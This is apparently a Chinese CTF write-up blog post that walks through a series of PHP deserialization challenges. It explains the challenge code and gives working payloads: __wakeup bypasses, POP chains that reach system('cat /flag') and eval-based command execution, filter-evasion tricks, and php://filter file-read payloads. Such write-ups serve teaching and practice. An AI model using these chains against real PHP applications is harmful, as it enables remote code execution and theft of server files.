当前位置: 首页 > article >正文

序列化和反序列化(二)

        为了方便查找和记录,所以将实操和知识点分开,这篇文章就是由浅入深的介绍反序列化的相关题目

[SWPUCTF 2021 新生赛]ez_unserialize

看源码,有提示

发现Disallow(禁止抓取),使用robots.txt协议查看,发现/cl45s.php目录 

代码如下

还是简单分析一下

<?php
error_reporting(0);
show_source("cl45s.php");             // 显示文件 cl45s.php 的源代码
 
class wllm {                          // 定义一个名为 wllm 的类   
    public $admin;                    // 公共属性 admin
    public $passwd;                   // 公共属性 passwd
    
    public function __construct() {   // 构造函数,用于初始化对象     
        $this->admin = "user";        // 初始化 admin 为 "user"
        $this->passwd = "123456";     // 初始化 passwd 为 "123456"
    }
 
    public function __destruct() {    // 析构函数,用于在对象不再被引用时执行清理操作
        // 检查 admin 是否为 "admin" 并且 passwd 是否为 "ctf"
        if ($this->admin === "admin" && $this->passwd === "ctf") {            
            include("flag.php");           
            echo $flag;
        } else {            
            echo $this->admin;        // 打印 admin 的值           
            echo $this->passwd;       // 打印 passwd 的值            
            echo "Just a bit more!";  // 打印字符串 "Just a bit more!"
        }
    }
}
$p = $_GET['p'];                       //GET传参p
unserialize($p);                       //反序列化p
 
?>

         简单来讲就是要让admin=admin,passwd=ctf时得到flag,然后给了一个get传参的点,将序列化以后的内容传入。

传入可得到flag

        php反序列化是可以控制类方法的属性但不能改类方法的代码,所以这里直接更改就行。然后传参,一般这里要url编码一下,规避不可打印字符,前面一篇文章提到过private protected 属性 序列化出来会有不可打印字符,但是这里没有这两个属性,所以就没有演示。

[SWPUCTF 2021 新生赛]no_wakeup

一个简单的超链接,跳转以后有代码

简单的审计

<?php
 
// 设置HTTP头信息,指定内容的类型和字符编码
header("Content-type:text/html;charset=utf-8");
 
// 关闭错误报告,不显示任何错误信息
error_reporting(0);
 
// 显示文件class.php的源代码
show_source("class.php");
 
// 定义一个名为HaHaHa的类
class HaHaHa{
 
    // 两个公共属性:admin和passwd
    public $admin;
    public $passwd;
 
    // 构造函数,当创建新对象时自动调用
    public function __construct(){
        // 初始化admin为"user",passwd为"123456"
        $this->admin ="user";
        $this->passwd = "123456";
    }
 
    // __wakeup魔术方法,当对象被反序列化时自动调用
    public function __wakeup(){
        // 将passwd加密为sha1哈希值
        $this->passwd = sha1($this->passwd);
    }
 
    // __destruct魔术方法,当对象被销毁时自动调用
    public function __destruct(){
        // 检查admin是否等于"admin"且passwd是否等于"wllm"
        if($this->admin === "admin" && $this->passwd === "wllm"){
            // 如果条件满足,引入flag.php文件,并输出变量$flag的值
            include("flag.php");
            echo $flag;
        }else{
            // 如果条件不满足,输出经过sha1加密的passwd值和"No wake up"字符串
            echo $this->passwd;
            echo "No wake up";
        }
    }
}
 
// 通过GET请求获取参数p的值,并将其作为反序列化的输入
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
 
?>

 admin=admin,passwd=wllm得到flag,序列化p

但其中多了一个__wakeup的魔术方法

__wakeup函数漏洞原理:当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会跳过__wakeup的执行

        为了触发,在正常的payload基础上改一下

修改前:O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

修改后:O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

        传参

[ZJCTF 2019]NiZhuanSiWei 

        开门见山,展示代码

        这里的代码大致的情况,大致可以分为两部分,第一部分是file_get_contents()函数存在的文件包含(也就是伪协议读取)漏洞,另外一部分是,反序列化漏洞。在代码里可以知道的是,实际上,序列化的内容,我们是无法直接看到的,所以实际上在进行反序列化操作之前,要尝试用伪协议去读取序列化的内容。

        这里先使用data伪协议来写入,再用filter伪协议读一下注释里面的文件

payload:

       ?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

解码

        结合原页面的代码可知,这道题的passwd是反序列化的入口,而且此处用到的是__tostring()方法,其触发条件就是 当一个对象被当作str处理 时,例如在echo中被用,恰好index的源码里是echo,就可以用

        还是一样的构造payload,但是这里要注意的是这时候我们不需要去访问useless.php文件的内容了,我们构造的反序列化会把之前的覆盖掉,最终我们要的是useless.php来访问我们的flag

所以payload:

        /?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

        来到这个页面,这个时候flag文件已经被包含了,所以直接看源代码就有

[SWPUCTF 2021 新生赛]pop

        在这道题中,和之前几道题最大的不同就是,这里引入了private和protected这两个属性

        在大致审计完代码以后,再结合魔术方法,可以发现实际上,这里最关键的部分还是在w44m这个属性里面,因为这个属性是可以直接读取flag的内容的,也就是平时说的能达到恶意代码攻击的部分,所以将这个属性作为链子的尾部,然后呢传参的位置,也就是这个w00m,是链子的头部。

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

        w44m类中两个变量的属性并不是共有属性,而是私有属性和保护属性,无法在创建对象的时候,进行赋值;因此我们就直接在类中进行赋值;接下来要考虑的是,如何去调用w44m类中的Getflag方法。这里就需要用到tostring这个方法,可以调用某一个类中的某一个方法。因此可以将w33m类中的两个变量w00m赋值为w44m类名,w22m赋值为Getflag方法;只要给w22m类中的w00m变量一个类w33m就可以实现调用

poc:

<?php
class w44m
{
    private $admin = "w44m";
    protected $passwd = "08067";
}
class w22m
{
    public $w00m;

}

class w33m
{
    public $w00m;
    public $w22m;
}
// w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m="Getflag";
echo urlencode(serialize($a));

         在这个代码里面,链子的构造思路在这里:

 w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()

        当 w22m 被销毁时,它会尝试访问 w00m,而 w00m 是一个 w33m 对象。当 w33m 对象被转换为字符串(可能通过 __toString 方法)时,会访问其自身的 w00m 属性,该属性被设置为一个 w44m 对象。最后,在 w44m 对象上调用 Getflag 方法。

        生成的链子不加密是这样的

O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:" w44m admin";s:4:"w44m";s:9:" * passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

        这里使用直接用url编码是因为在w44m的两个属性中,直接生成的链子会有不可见字符

[HUBUCTF 2022 新生赛]checkin 

        

        这里实际上看到代码懵了一下,因为这个题和之前的题的差别实际上挺明显的,这道题没有类

$data_unserialize = unserialize($info);

        根据代码的分析以后可以发现,这里反序列化以后的值实际上赋值给了$data_unserialize ,然后这里涉及了一个函数(但是没什么大用在这道题中)

isset() 函数用于检测变量是否已设置并且非 NULL。

以上是基本用途,而本题中用到的是php的三元运算符

$id = isset($_GET['id']) ? $_GET['id'] : '';

(条件) ? (值1):(值2);

解释:如果条件成立(为真),则执行冒号前边的“值1”,否则执行冒号后面的“值2”。

isset()函数是检测变量是否设置,$_GET['id']是通过get方法传过来的值。
这句话的意思就是:如果$_GET['id']已经被设置,即已经有值了,则$id=$_GET['id'];
如果$_GET['id']没有被设置,则$id = '';

        然后比较重要的代码就是这个判断语句了

if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password)

        实际上一开始看的时候还是有点迷的,因为一开始我觉得,都没有类的话,要怎么去调用属性?思考以后发现这里要反序列化的应该是数组才对,这样用键值对的方式调用数组中的值才合理。

构造看看:

<?php
$info =array("username"=>"this_is_secret","password"=>"this_is_not_known_to_you");
$zerotwo=serialize($info);
echo($zerotwo);

还是错的

        在仔细看可发现第五行的代码中,注释已经说了两个的值已经被改变了,所以说实际上我们并不知道这来个变量中具体的值是多少,而这里的重点应该放在,if条件判断语句里面,重点应该是要在这个弱比较“==”,来张图

        由表可知,true和非空、非零字符串弱比较(==)都是为true ,再次构建

<?php
$info =array("username"=>true,"password"=>true);
$zerotwo=serialize($info);
echo($zerotwo);

[SWPUCTF 2022 新生赛]1z_unserialize

        在题目中没有看到flag.php文件说明被隐藏起来了。 这两个实际上很像函数+指令,system("cat /flag");

 $a = $this->lt;                                             
 $a($this->lly); 
 //lt(lly)

        因为实际上

  • $this->lt 需要是一个可调用的值(如闭包、函数名或类方法名),否则会导致运行时错误。可以设置 $lt 为任意可调用的PHP代码(如闭包或方法名),并通过 $lly 传递参数,从而执行任意代码。( $lt 被设置为一个恶意闭包的情况下)
<?php

class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;


}

$a=new lyh();
$a->lt='system';
$a->lly='cat /f*';
echo serialize($a);


?>

         试试

        直接就构造出来了

[SWPUCTF 2022 新生赛]ez_ez_unserialize

        实际上,这道题的结构之前那到是有相似之处的,这里也已经告诉了我们flag文件在在哪,但是__wakeup()这个魔术方法固定死了我们的高亮文件。创造类x,定义了一个魔术常量x为_FILE_(当前文件名),又定义了几个函数,construct函数让x类中的x赋值,wakeup让x重新赋值为_FULE_,destruct函数高亮x常量,如果传参x存在反序列化,否则输出

        抓包看看版本,这里实际上是可以确定,可以进行绕过的。由于要绕过wakeup函数,只要序列化的中的成员数大于实际成员数,即可绕过

<?php
class X
{
    public $x ;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);

    }
}
echo serialize(new X("fllllllag.php"));

         修改序列化中的成员数即可

24isctf的ezserialize

代码如下

<?php
error_reporting(0);

class Flag {
    private $flag;

    public function __construct() {
        $this->flag = file_get_contents('/flag');
    }

    public function getFlag() {
        return $this->flag;
    }

    public function __toString() {
        return "You can't directly access the flag!";
    }
}

class User {
    public $username;
    public $isAdmin = false;

    public function __construct($username) {
        $this->username = $username;
    }

    public function __wakeup() {
        if ($this->isAdmin) {
            echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
        } else {
            echo "Hello, " . htmlspecialchars($this->username) . "!";
        }
    }
}

if (isset($_GET['data'])) {
    $data = $_GET['data'];

    $object = unserialize($data);
    if ($object instanceof User) {
        echo $object;
    } else {
        echo "Invalid object!";
    }
} else {
    highlight_file(__FILE__);
}
?> 

        源码还是有一点多的,但是逻辑很简单

  1. Flag 类:
    • 属性:
      • private $flag: 私有属性,用于存储从文件 /flag 中读取的内容。
    • 方法:
      • __construct(): 构造函数,初始化 $flag 属性为文件 /flag 的内容。
      • getFlag(): 返回 $flag 的值。
      • __toString(): 魔术方法,当对象被转换为字符串时调用,返回一个提示信息。
  2. User 类:

    • 属性:
      • public $username: 用户名。
      • public $isAdmin = false: 标记用户是否为管理员,默认值为 false
    • 方法:
      • __construct($username): 构造函数,初始化 $username
      • __wakeup(): 魔术方法,在对象反序列化后调用。如果用户是管理员,则输出标志内容;否则,输出“Hello”信息。

        稍微修改一下,然后进行赋值

<?php
class Flag {
    private $flag;
}

class User {
    public $username ="username";
    public $isAdmin = true;
}
$a=new Flag();
$b = new User('username ', $flag);
//依赖注入
// 将 Flag 对象传递给 User 对象
// b 对象的 __wakeup() 方法都能够访问 a 对象的 $flag 属性,因为 a 对象的 getFlag() 方法被调用来获取标志值
echo serialize($b);
?>

24isctf的天命人

        源码如下


<?php
error_reporting(0);

# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{
    public $wu="俺老孙定要踏破这五指山!<br>";
    public $zhi;
    public $shan;

    function __get($j)
    {
        echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
        $yin="s214587387a";
        $yang=$_GET['J'];
        if (md5($yin)==$yang&&md5($yin)==md5($yang)){
            echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
            system('cat /flag');
        }
    }
}
class Huoyanjinjing{
    public $huoyan;
    public $jinjing;
    function __get($huo)
    {
        $this->huoyan="火眼能洞察一切邪祟!<br>";
        echo $this->huoyan->jinjing;
    }
    function __invoke()
    {
        $this->jinjing="金睛能看破世间迷惘!<br>";
        echo $this->huoyan->jinjing;
    }
}
class Dinghaishenzhen{
    public $Jindou="一个筋斗能翻十万八千里!<br>";
    public $yun;

    function __toString()
    {
        $f=$this->yun;
        $f();
        return "你真的逃出去了吗?天命人?<br>";
    }
}
class Jingdouyun{
    public $Qishier=72;
    public $bian="看俺老孙七十二变!<br>";

    function __sleep()
    {
        echo "三更敲门,菩提老祖送我筋斗云...<br>";
        echo new Jindouyun();
    }
}
class Tianmingren {
    public $tianming;
    public $ren;
    function __destruct()
    {
        echo "迷途中的羔羊,你相信天命吗?<br>";
        echo $this->tianming;
    }
}
$data = unserialize($_POST['Wukong']);
throw new Exception('开局一根棍,装备全靠打。');
?> 

        还是简单的分析一下代码,这里的链头就是一开始的md5的二次加密的一个弱比较,__get()   //调用不可访问、不存在的对象成员属性时触发

class Wuzhishan{
    public $wu="俺老孙定要踏破这五指山!<br>";
    public $zhi;
    public $shan;

    function __get($j)
    {
        echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
        $yin="s214587387a";
        $yang=$_GET['J'];
        if (md5($yin)==$yang&&md5($yin)==md5($yang)){
            echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
            system('cat /flag');
        }
    }
}

      

          __invoke()  //把对象当成函数调用时触发,这里调用参数yun,传入Huoyanjinjing类

然后就

__toString()  //把对象当成字符串输出触发  echo $this->tianming;

最后的这个

        大致捋清楚以后,就可以开始构造pop链了

<?php
class Wuzhishan{
    public $wu="俺老孙定要踏破这五指山!<br>";
    public $zhi;
    public $shan;
}
class Huoyanjinjing{
    public $huoyan;
    public $jinjing;
}
class Dinghaishenzhen{
    public $Jindou="一个筋斗能翻十万八千里!<br>";
    public $yun;
}
class Tianmingren {
    public $tianming;
    public $ren;
}
class Jingdouyun{
    public $Qishier=72;
    public $bian="看俺老孙七十二变!<br>";
}

$a=new Wuzhishan();
$b=new Huoyanjinjing();
$b->huoyan=$a;
$c=new Dinghaishenzhen();
$c->yun=$b;
$d=new Tianmingren();
$d->tianming=$c;
echo serialize($d);
?>

 [NISACTF 2022]babyserialize

源码如下:

 <?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>



        简单的捋一下还是,四个类,然后根据这四个类去构造链子,然后忽然发现,那个魔术常量好像一直没有细写过,所以还是在这里再介绍一下(因为可能我觉得可写可不写)

        在这里

__FILE__ 是一个魔术常量,它返回当前文件的完整路径和文件名。当在一个脚本中使用 __FILE__ 时,它将被替换为当前文件的实际路径,在上述代码中,highlight_file(__FILE__) 表示对当前文件进行语法高亮显示。这样可以让我们在浏览器中查看和分析当前文件的代码。

        因为这道题和isctf的两道题还是有不一样的点,这里还是选择着重介绍一下链尾的特征,就是下面这串代码

public function __invoke()
{
    checkcheck($this->txw4ever);
    @eval($this->txw4ever);
}

__invoke是一个魔术方法(当脚本尝试将对象调用为函数时触发)
eval()作为内置函数,把字符串作为PHP代码执行

        eval就可以满足链尾特征,执行命令,试想,我们如果能传入例如“system('ls')”的命令,就可以执行攻击操作了。

        确定了头尾,这里的思路是通过链尾的执行函数,去反推相关的链接,还是承接上面的,详细写一下

        最后执行的是txw4ever,所以相当于最后要将命令执行内容传入$this->txw4ever里,传入的过程中需要触发__invoke()函数(将对象调用为函数时触发),如果要改为变量的形式,那么将对象赋给变量,就将对象变为了函数,再往下看的过程中可以发现

        需要把$bb()赋为对象,同时,su就是传入它的参数。su的内容,需要传入一个对象,再往上看,可以发现,如果要传入以个对象的话,要执行__toString()这个魔术方法。

__ToString⽅法是当对象被当做字符串的时候会自动调用

继续在所有类里面找,找到strtolower函数,该函数是将字符串转换成小写

         对应参数 a ,需要通过if判断,fun为sixsixsix,我们将$fun中的abc改为sixsixsix即可,为了执行上面提到的操作,要触发__set()

 

        找到fun,$this->huang,Ilovetxw调用huang这个属性,这个属性的值再调用fun,调用只有类和对象能做,所以根据上面要触发__set(),huang的赋值应为four这个类的对象,new four->fun,即four调用fun(因为fun是私有变量,最好直接在类里面修改)

        回到源码,

__set是对不存在或者不可访问的变量进行赋值就会自动调用

于是我们找到huang,我们可以看到在Ilovetxw类里面并不存在fun这个参数

        依次往上追到__call函数,__call是对不存在的方法或者不可访问的方法进行调用就自动调用

        再往上看

        找到nisa,该类中并不存在这个方法,再往上就找到wakeup函数, 即我们的链头了,该函数在使用unserilize之前就会触发。

        大致分析完了以后,开始构造pop链子


$zerotwo  =new NISA();
$zerotwo->txw4ever = "system('ls');";

$Darling = new Ilovetxw();
$Darling->su = $zerotwo;

$Franxx =new four();
$Franxx->a = $Darling;

$Darling = new Ilovetxw();
$Darling->huang = $Franxx;

$zzc=new TianXiWei();
$zzc -> ext=$Darling;

echo urlencode(serialize($zzc));

        这里用url编码是因为这里的私有属性,验证payload

        实际上这里我们并没有对__wakeup函数进行绕过,所以说,这个函数还是被触发了,因为等到反序列化到NISA()的__wakeup时自然会触发

        然后这时$fun的值为show_me_flag,满足__wakeup()中if,直接调用hint()方法,我们根据源码最后的注释内容可以看到,hint()方法echo了一些东西,echo的就是flag is in /。那这里很简单了,修改一下fun的值

<?php

class NISA{
    public $fun="a";
    public $txw4ever; // 1 shell
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext; //5 Ilovetxw
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang; //4 four
    public $su; //2 NISA

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER"; //3 Ilovetxw
    private $fun='sixsixsix'; //fun = "sixsixsix

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}


$zerotwo  =new NISA();
$zerotwo->txw4ever = "system('ls');";

$Darling = new Ilovetxw();
$Darling->su = $zerotwo;

$Franxx =new four();
$Franxx->a = $Darling;

$Darling = new Ilovetxw();
$Darling->huang = $Franxx;

$zzc=new TianXiWei();
$zzc -> ext=$Darling;

echo urlencode(serialize($zzc));

        发现回显是something wrong

        再来结合之前在源码中过滤的

        说明可能过滤了什么,先试试大写绕过,不行就换函数passthru()

        大写绕过是可行的,但是当前目录没什么好看的,而且通过之前的提示我们也知道flag在根目录了

        直接读

        这里也可以用通配符“*”,直接读

[NISACTF 2022]popchains 

        这道题的代码没什么新的

新年快乐~许个愿
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

        先找找,在哪里可以直接找到执行代码并进行注入的点,即链尾

        这里的include,应该是可以用伪协议打洞,直接读flag文件的内容,要将它作为链尾,则要触发 append($value) -->>__invoke(),看到$function()。(__invoke():对象以函数形式被调用时触发 

        

        要触发 __get($key)(__get():对不存在、不可访问的变量进行赋值就会自动调用),再往下分析

 public function __toString(){
        return $this->string->page;
    }

        触发了get属性,然后看看string属性被谁触发

        使 $this->string 为 Make_a_Change 的一个对象,则这个对象的类里面没有page这个变量,则会触发__get()。 (__toString():对象被当成字符串时被调用

        这里实际上也说明了$value 的值

按上面的思路构造,然后用filter伪协议读一下flag.php 文件的内容

<?php
class Road_is_Long{
    public $page;//4 Road_is_Long
    public $string;//3 Make_a_Change
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var="php://filter/convert.base64-encode/resource=/flag";//1 shell
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;//2 Try_Work_Hard
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}

$zerotwo=new Try_Work_Hard();

$Darling=new Make_a_Change();
$Darling->effort=$zerotwo;

$Franxx=new Road_is_Long();
$Franxx->string=$Darling;

$zzc=new Road_is_Long();
$zzc->page=$Franxx;
echo urlencode(serialize($zzc));
?>

        成功读取


http://www.kler.cn/a/451443.html

相关文章:

  • Modbus数据网关在制造企业的应用与效果
  • leetcode hot100 将有序数组转化为二叉搜索树
  • 【MySQL】7.0 入门学习(七)——MySQL基本指令:帮助、清除输入、查询等
  • Python选择题训练工具:高效学习、答题回顾与音频朗读一站式体验
  • 模型的多GPU并行训练,DDP
  • Linux搭建TRELLIS详细流程
  • ML-Agents 概述(二)
  • windows C++ TCP客户端
  • 类设计者的核查表
  • 微软远程桌面APP怎么用
  • 算法专题——双指针
  • 机器学习之scikit-learn(简称 sklearn)
  • ensp 关于acl的运用和讲解
  • 鸿蒙 log抓取
  • SQL组合查询
  • springboot481基于springboot社区老人健康信息管理系统(论文+源码)_kaic
  • LLM大语言模型私有化部署-使用Dify的工作流编排打造专属AI搜索引擎
  • 《解锁 Python 数据分析的强大力量》
  • Linux 添加磁盘
  • 音乐电影分享系统:数据驱动的内容推荐机制
  • 机器学习DAY3 : 线性回归与最小二乘法与sklearn实现 (线性回归完)
  • 【强化学习】Stable-Baselines3学习笔记
  • 记录:Vue 构建前端项目,在本地开发时通常会使用代理来转发请求,避免跨域请求问题
  • 可视化大屏编辑器, 开源!
  • golang 并发--goroutine(四)
  • 【主动噪声控制】次级通道的在线辨识